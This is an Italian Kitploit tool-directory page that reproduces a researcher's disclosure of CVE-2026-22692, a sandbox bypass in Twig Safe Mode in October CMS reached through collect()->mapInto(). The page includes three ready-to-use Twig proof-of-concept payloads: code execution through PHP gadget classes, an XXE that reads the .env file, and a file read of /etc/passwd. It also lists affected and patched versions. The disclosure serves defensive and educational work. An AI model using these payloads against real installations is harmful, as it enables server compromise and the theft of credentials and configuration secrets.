Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-22692 — CVE-2026-22692 - Bypass critico della sandbox di Twig tramite collect()->mapInto() che consente RCE/LFI/XXE in October CMS | Kitploit
Strumenti/GitHubGitHub/lukasz-rybak/cve-2026-22692
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPaper e RicercaApprendimento e Formazione
GitHublukasz-rybak/cve-2026-22692

CVE-2026-22692

CVE-2026-22692 - Bypass critico della sandbox di Twig tramite collect()->mapInto() che consente RCE/LFI/XXE in October CMS

Vedi Repository
4 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-22692: Bypass critico del sandbox Twig tramite collect()->mapInto() che consente RCE/LFI/XXE (October CMS)

Panoramica

CampoDettagli
ID CVECVE-2026-22692
GravitàModerata (CVSS:3.1 4.9)
AdvisoryGHSA-m5qg-jc75-4jp6
Prodotto interessatoOctober CMS (<= 4.1.4, <= 3.7.12)
Tipo di vulnerabilitàBypass del sandbox Twig -> RCE, LFI, XXE
Scoperta daLukasz Rybak

Classificazione CWE

  • CWE-693: Mancato funzionamento del meccanismo di protezione
  • CWE-611: Restrizione impropria del riferimento a entità esterne XML
  • CWE-74: Neutralizzazione impropria di elementi speciali nell'output utilizzato da un componente a valle ('Injection')

Riepilogo

Esiste una vulnerabilità critica nel sandbox Twig di October CMS (Safe Mode) che consente agli utenti autenticati con privilegi di modifica dei template di bypassare le restrizioni di sicurezza ed eseguire codice PHP arbitrario (RCE) o leggere file arbitrari (XXE/LFI) dal server.

Dettagli

Causa principale

La causa principale si trova in October\Rain\Support\SafeCollection. Questa classe implementa l'interfaccia CallsAnyMethod, che comunica a System\Twig\SecurityPolicy di bypassare l'allow-listing standard dei metodi per l'oggetto collection stesso.

Sebbene SafeCollection tenti di filtrare gli argomenti per impedire l'esecuzione diretta di callable, non blocca il metodo mapInto($class). Il metodo mapInto itera sulla collection e istanzia il nome della classe fornito:

root@kitploit:~
new $class($value, $key);

Ciò consente a un attaccante di istanziare qualsiasi classe nota all'applicazione.

Vulnerabilità 1: RCE (Esecuzione di funzioni)

System\Twig\SecurityPolicy include esplicitamente nell'allow-list il metodo __toString() su tutti gli oggetti. Istanziando Psy\Readline\Hoa\Xcallable (che incapsula un callable) e avvolgendolo in un GuzzleHttp\Psr7\FnStream (che chiama una funzione definita dall'utente nel suo metodo __toString tramite la proprietà _fn___toString), un attaccante può innescare l'esecuzione di funzioni PHP arbitrarie che non richiedono argomenti (ad es. php_uname, phpinfo) semplicemente stampando l'oggetto in Twig.

Vulnerabilità 2: XXE (Lettura arbitraria di file)

La classe SimpleXMLElement accetta un flag di opzione libxml come secondo argomento del costruttore. mapInto() passa la chiave della collection come secondo argomento al costruttore. Creando una collection con una chiave pari a 2 (che corrisponde a LIBXML_NOENT), un attaccante può abilitare la sostituzione di entità esterne in SimpleXMLElement, portando a una XXE immediata e alla possibilità di leggere file di sistema.

Vulnerabilità 3: LFI (Lettura arbitraria di file tramite SplFileObject)

Esiste una vulnerabilità di Local File Inclusion (LFI) più diretta che utilizza la classe nativa PHP SplFileObject. Istanziando SplFileObject con un percorso di file e una modalità di lettura (passati tramite mapInto), un attaccante ottiene un oggetto file iterabile. Passando questo oggetto all'helper collect() si innesca un'iterazione immediata (tramite iterator_to_array all'interno del core del framework), che bypassa la policy di blocco dei metodi del Sandbox. Ciò consente di leggere qualsiasi file a cui il server web ha accesso, senza richiedere supporto XML o librerie specifiche del vendor.

PoC (Prova di concetto)

Prerequisiti

  • Accesso autenticato al Backend di October CMS (o a qualsiasi funzionalità che consenta la modifica di template Twig)
  • CMS_SAFE_MODE=true

Payload 1: RCE (Esegui php_uname)

root@kitploit:~
{% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %}
{% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %}

{% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %}

{% set methods = {'__toString': x} %}
{% set f = collect([methods]).mapInto(clsF).first() %}

System Info: {{ f }}

Payload 2: XXE (Leggi il file .env)

root@kitploit:~
{% set xml_payload = '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///var/www/html/.env">]><root>&b;</root>' %}

{# Use key '2' (LIBXML_NOENT) to enable Entity Substitution in SimpleXMLElement #}
{% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %}

FILE CONTENT (.env):
{{ x }}

Payload 3: LFI (Leggi /etc/passwd tramite SplFileObject)

root@kitploit:~
{% set target = '/etc/passwd' %}
{% set file = collect({'r': target}).mapInto('SplFileObject').first() %}
{% set content = collect(file) %}

LFI Result:
{{ content.join('') }}

Impatto

Esecuzione di codice remoto (RCE), Local File Inclusion (LFI), Iniezione di entità esterne XML (XXE).

  • RCE: Consente l'esecuzione di codice PHP (limitata a funzioni senza argomenti con il gadget FnStream, ma potenzialmente estendibile con altri gadget).
  • LFI / XXE: Consente di leggere qualsiasi file sul file system del server a cui l'utente web ha accesso (inclusi /etc/passwd, configurazione del database, .env, ecc.) tramite molteplici vettori (SimpleXMLElement o SplFileObject).

Questo riguarda qualsiasi installazione di October CMS in cui utenti non fidati o parzialmente fidati hanno accesso all'editor di template del CMS, consentendo loro di fatto di elevare i privilegi fino alla logica di livello System Administrator / Root.

Prodotti interessati

  • Pacchetto: octobercms/october (Packagist)
  • Versioni interessate: <= 4.1.4, <= 3.7.12
  • Corretto in: 4.1.5, 3.7.13

Riferimenti

  • https://github.com/octobercms/october/security/advisories/GHSA-m5qg-jc75-4jp6
  • https://nvd.nist.gov/vuln/detail/CVE-2026-22692

Disclaimer

Questo CVE è stato divulgato in modo responsabile seguendo le pratiche di divulgazione coordinata delle vulnerabilità. Le informazioni qui fornite hanno esclusivamente scopi educativi e difensivi.

Scarica lo strumento